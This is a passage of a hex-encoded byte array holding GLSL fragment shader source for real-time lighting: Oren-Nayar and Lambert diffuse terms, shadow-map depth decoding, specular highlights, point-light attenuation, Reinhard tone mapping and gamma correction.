0x7b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x20,0x5f,0x32,0x31,0x34,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,
0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x73,0x75,
0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,
0x32,0x31,0x38,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x73,0x75,0x72,0x66,0x61,0x63,
0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,
0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,
0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x32,0x34,0x20,
0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,
0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,
0x63,0x74,0x69,0x6f,0x6e,0x29,0x20,0x2d,0x20,0x28,0x5f,0x32,0x31,0x34,0x20,0x2a,
0x20,0x5f,0x32,0x31,0x38,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x33,0x35,0x20,0x3d,0x20,0x72,
0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x20,0x2a,0x20,0x72,0x6f,0x75,0x67,0x68,
0x6e,0x65,0x73,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x28,0x28,0x61,0x6c,0x62,0x65,0x64,0x6f,0x20,0x2a,0x20,0x6d,0x61,0x78,0x28,
0x30,0x2e,0x30,0x2c,0x20,0x5f,0x32,0x31,0x34,0x29,0x29,0x20,0x2a,0x20,0x28,0x28,
0x31,0x2e,0x30,0x20,0x2b,0x20,0x28,0x5f,0x32,0x33,0x35,0x20,0x2a,0x20,0x28,0x28,
0x61,0x6c,0x62,0x65,0x64,0x6f,0x20,0x2f,0x20,0x28,0x5f,0x32,0x33,0x35,0x20,0x2b,
0x20,0x30,0x2e,0x31,0x32,0x39,0x39,0x39,0x39,0x39,0x39,0x35,0x32,0x33,0x31,0x36,
0x32,0x38,0x34,0x31,0x37,0x39,0x36,0x38,0x37,0x35,0x29,0x29,0x20,0x2b,0x20,0x28,
0x30,0x2e,0x35,0x20,0x2f,0x20,0x28,0x5f,0x32,0x33,0x35,0x20,0x2b,0x20,0x30,0x2e,
0x33,0x33,0x30,0x30,0x30,0x30,0x30,0x31,0x33,0x31,0x31,0x33,0x30,0x32,0x31,0x38,
0x35,0x30,0x35,0x38,0x35,0x39,0x33,0x37,0x35,0x29,0x29,0x29,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x28,0x28,0x30,0x2e,0x34,0x34,0x39,0x39,0x39,0x39,0x39,0x38,0x38,
0x30,0x37,0x39,0x30,0x37,0x31,0x30,0x34,0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x20,
0x2a,0x20,0x5f,0x32,0x33,0x35,0x29,0x20,0x2f,0x20,0x28,0x5f,0x32,0x33,0x35,0x20,
0x2b,0x20,0x30,0x2e,0x30,0x39,0x30,0x30,0x30,0x30,0x30,0x30,0x33,0x35,0x37,0x36,
0x32,0x37,0x38,0x36,0x38,0x36,0x35,0x32,0x33,0x34,0x33,0x37,0x35,0x29,0x29,0x20,
0x2a,0x20,0x5f,0x32,0x32,0x34,0x29,0x20,0x2f,0x20,0x6d,0x69,0x78,0x28,0x31,0x2e,
0x30,0x2c,0x20,0x6d,0x61,0x78,0x28,0x5f,0x32,0x31,0x34,0x2c,0x20,0x5f,0x32,0x31,
0x38,0x29,0x2c,0x20,0x73,0x74,0x65,0x70,0x28,0x30,0x2e,0x30,0x2c,0x20,0x5f,0x32,
0x32,0x34,0x29,0x29,0x29,0x29,0x29,0x20,0x2a,0x20,0x30,0x2e,0x33,0x31,0x38,0x33,
0x30,0x39,0x38,0x37,0x33,0x33,0x34,0x32,0x35,0x31,0x34,0x30,0x33,0x38,0x30,0x38,
0x35,0x39,0x33,0x37,0x35,0x3b,0x0a,0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x61,0x6d,0x62,0x65,0x72,0x74,0x5f,0x64,0x69,
0x66,0x66,0x75,0x73,0x65,0x28,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,
0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,
0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x6e,0x6f,0x72,
0x6d,0x61,0x6c,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,
0x6e,0x20,0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6c,0x69,
0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,
0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x64,
0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x68,0x69,0x67,0x68,0x70,
0x20,0x76,0x65,0x63,0x34,0x20,0x72,0x67,0x62,0x61,0x29,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x72,0x67,0x62,
0x61,0x2c,0x20,0x76,0x65,0x63,0x34,0x28,0x31,0x2e,0x30,0x2c,0x20,0x30,0x2e,0x30,
0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,
0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,
0x31,0x2e,0x35,0x33,0x37,0x38,0x37,0x30,0x30,0x34,0x38,0x31,0x39,0x36,0x30,0x35,
0x34,0x39,0x39,0x35,0x30,0x35,0x39,0x39,0x36,0x37,0x30,0x34,0x31,0x30,0x31,0x35,
0x36,0x65,0x2d,0x30,0x35,0x2c,0x20,0x36,0x2e,0x30,0x33,0x30,0x38,0x36,0x32,0x39,
0x32,0x30,0x31,0x36,0x39,0x39,0x36,0x35,0x39,0x34,0x36,0x31,0x31,0x35,0x35,0x35,
0x33,0x33,0x37,0x39,0x30,0x35,0x38,0x38,0x65,0x2d,0x30,0x38,0x29,0x29,0x3b,0x0a,
0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x68,0x69,0x67,0x68,0x70,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,
0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,
0x63,0x33,0x20,0x5f,0x31,0x36,0x39,0x20,0x3d,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,
0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x78,0x79,0x7a,0x20,0x2f,0x20,0x76,0x65,0x63,
0x33,0x28,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x77,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,
0x34,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x74,0x65,0x78,0x74,0x75,0x72,
0x65,0x32,0x44,0x28,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,
0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2c,0x20,0x28,0x5f,0x31,0x36,0x39,0x2e,0x78,0x79,
0x20,0x2a,0x20,0x30,0x2e,0x35,0x29,0x20,0x2b,0x20,0x76,0x65,0x63,0x32,0x28,0x30,
0x2e,0x35,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x73,0x74,0x65,0x70,0x28,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,
0x68,0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x2c,0x20,0x5f,0x31,0x36,0x39,0x2e,0x7a,
0x20,0x2d,0x20,0x28,0x30,0x2e,0x35,0x20,0x2a,0x20,0x63,0x6c,0x61,0x6d,0x70,0x28,
0x30,0x2e,0x30,0x30,0x34,0x39,0x39,0x39,0x39,0x39,0x39,0x38,0x38,0x38,0x32,0x34,
0x31,0x32,0x39,0x31,0x30,0x34,0x36,0x31,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,
0x20,0x2a,0x20,0x74,0x61,0x6e,0x28,0x61,0x63,0x6f,0x73,0x28,0x63,0x6f,0x73,0x5f,
0x74,0x68,0x65,0x74,0x61,0x29,0x29,0x2c,0x20,0x30,0x2e,0x30,0x2c,0x20,0x30,0x2e,
0x30,0x30,0x39,0x39,0x39,0x39,0x39,0x39,0x39,0x37,0x37,0x36,0x34,0x38,0x32,0x35,
0x38,0x32,0x30,0x39,0x32,0x32,0x38,0x35,0x31,0x35,0x36,0x32,0x35,0x29,0x29,0x29,
0x3b,0x0a,0x7d,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x68,0x69,0x67,0x68,0x70,
0x20,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x2c,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x69,0x65,0x77,
0x5f,0x64,0x69,0x72,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,
0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,0x38,0x2e,0x30,0x20,0x2b,0x20,0x6d,0x61,
0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,
0x2e,0x77,0x29,0x20,0x2a,0x20,0x30,0x2e,0x30,0x33,0x39,0x37,0x38,0x38,0x37,0x33,
0x34,0x31,0x36,0x37,0x38,0x31,0x34,0x32,0x35,0x34,0x37,0x36,0x30,0x37,0x34,0x32,
0x31,0x38,0x37,0x35,0x29,0x20,0x2a,0x20,0x70,0x6f,0x77,0x28,0x6d,0x61,0x78,0x28,
0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6e,0x6f,0x72,0x6d,
0x61,0x6c,0x69,0x7a,0x65,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x20,
0x2b,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x29,0x29,0x2c,0x20,0x30,0x2e,
0x30,0x29,0x2c,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x77,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x68,0x69,
0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x74,0x74,0x65,0x6e,0x75,
0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x64,0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,
0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x29,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,
0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,0x6d,0x69,0x6e,0x28,0x31,0x2e,0x30,0x2c,0x20,
0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x64,0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,
0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x29,0x2c,0x20,0x32,0x2e,0x30,
0x20,0x2a,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,
0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x75,0x6d,0x69,
0x6e,0x61,0x6e,0x63,0x65,0x28,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,
0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x6e,0x65,0x61,0x72,
0x2c,0x20,0x76,0x65,0x63,0x33,0x28,0x30,0x2e,0x32,0x31,0x32,0x35,0x39,0x39,0x39,
0x39,0x32,0x37,0x35,0x32,0x30,0x37,0x35,0x31,0x39,0x35,0x33,0x31,0x32,0x35,0x2c,
0x20,0x30,0x2e,0x37,0x31,0x35,0x32,0x30,0x30,0x30,0x30,0x36,0x39,0x36,0x31,0x38,
0x32,0x32,0x35,0x30,0x39,0x37,0x36,0x35,0x36,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,
0x37,0x32,0x32,0x30,0x30,0x30,0x30,0x30,0x32,0x38,0x36,0x31,0x30,0x32,0x32,0x39,
0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x68,0x69,
0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,
0x74,0x6f,0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,0x68,0x69,0x67,0x68,0x70,0x20,0x76,
0x65,0x63,0x33,0x20,0x78,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,
0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x78,0x2c,0x20,0x76,0x65,0x63,0x33,0x28,
0x30,0x2e,0x34,0x35,0x34,0x35,0x34,0x35,0x34,0x36,0x38,0x30,0x39,0x31,0x39,0x36,
0x34,0x37,0x32,0x31,0x36,0x37,0x39,0x36,0x38,0x37,0x35,0x29,0x29,0x3b,0x0a,0x7d,
0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x74,0x6f,0x6e,
0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,0x72,0x64,0x28,0x68,0x69,
0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x78,0x29,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x20,0x3d,0x20,0x78,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x20,0x3d,
0x20,0x78,0x20,0x2f,0x20,0x76,0x65,0x63,0x33,0x28,0x31,0x2e,0x30,0x20,0x2b,0x20,
0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x29,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6c,0x69,
0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x31,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,
0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x32,0x38,0x33,0x20,0x3d,0x20,0x6e,
0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,
0x33,0x20,0x5f,0x32,0x39,0x35,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,
0x7a,0x65,0x28,0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,
0x78,0x79,0x7a,0x20,0x2d,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x29,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,
0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,
0x33,0x30,0x36,0x20,0x3d,0x20,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x44,0x28,
0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x2c,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,
0x72,0x64,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,
0x65,0x63,0x34,0x20,0x5f,0x33,0x30,0x39,0x20,0x3d,0x20,0x5f,0x33,0x30,0x36,0x20,
0x2a,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x33,0x31,
0x39,0x20,0x3d,0x20,0x76,0x65,0x63,0x33,0x28,0x5f,0x33,0x30,0x39,0x2e,0x78,0x79,
0x7a,0x29,0x20,0x2a,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,
0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x20,
0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x32,0x20,0x3d,
0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,0x20,0x3d,
0x20,0x30,0x2e,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x20,0x3d,0x20,
0x31,0x2e,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x5f,0x33,0x33,0x34,0x20,0x3d,0x20,0x6f,0x72,0x65,0x6e,
0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,
0x61,0x72,0x61,0x6d,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x32,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,0x2c,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,
0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,
0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x20,
0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,
0x5d,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,
0x5f,0x33,0x33,0x34,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x35,0x20,0x3d,0x20,0x6c,
0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,
0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x20,0x3d,
0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x68,
0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x37,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,
0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x38,0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,
0x28,0x28,0x28,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2a,0x20,0x6c,0x69,0x67,
0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x78,0x79,0x7a,
0x29,0x20,0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x2c,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x39,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x5f,0x33,
0x31,0x39,0x20,0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,0x5f,0x33,0x33,0x34,
0x29,0x29,0x20,0x2a,0x20,0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,0x63,0x61,0x6c,0x63,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x63,0x6c,0x61,0x6d,0x70,0x28,0x6c,0x61,
0x6d,0x62,0x65,0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x29,0x2c,
0x20,0x30,0x2e,0x30,0x2c,0x20,0x31,0x2e,0x30,0x29,0x29,0x29,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,
0x65,0x63,0x33,0x20,0x5f,0x33,0x38,0x36,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,0x74,
0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x20,
0x2d,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x33,0x39,0x34,0x20,
0x3d,0x20,0x5f,0x33,0x38,0x36,0x20,0x2f,0x20,0x76,0x65,0x63,0x33,0x28,0x6c,0x65,
0x6e,0x67,0x74,0x68,0x28,0x5f,0x33,0x38,0x36,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x30,0x20,0x3d,0x20,0x5f,0x33,0x39,0x34,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x31,0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x32,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x33,0x20,0x3d,0x20,0x30,0x2e,0x35,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x30,
0x34,0x20,0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,
0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,0x2c,
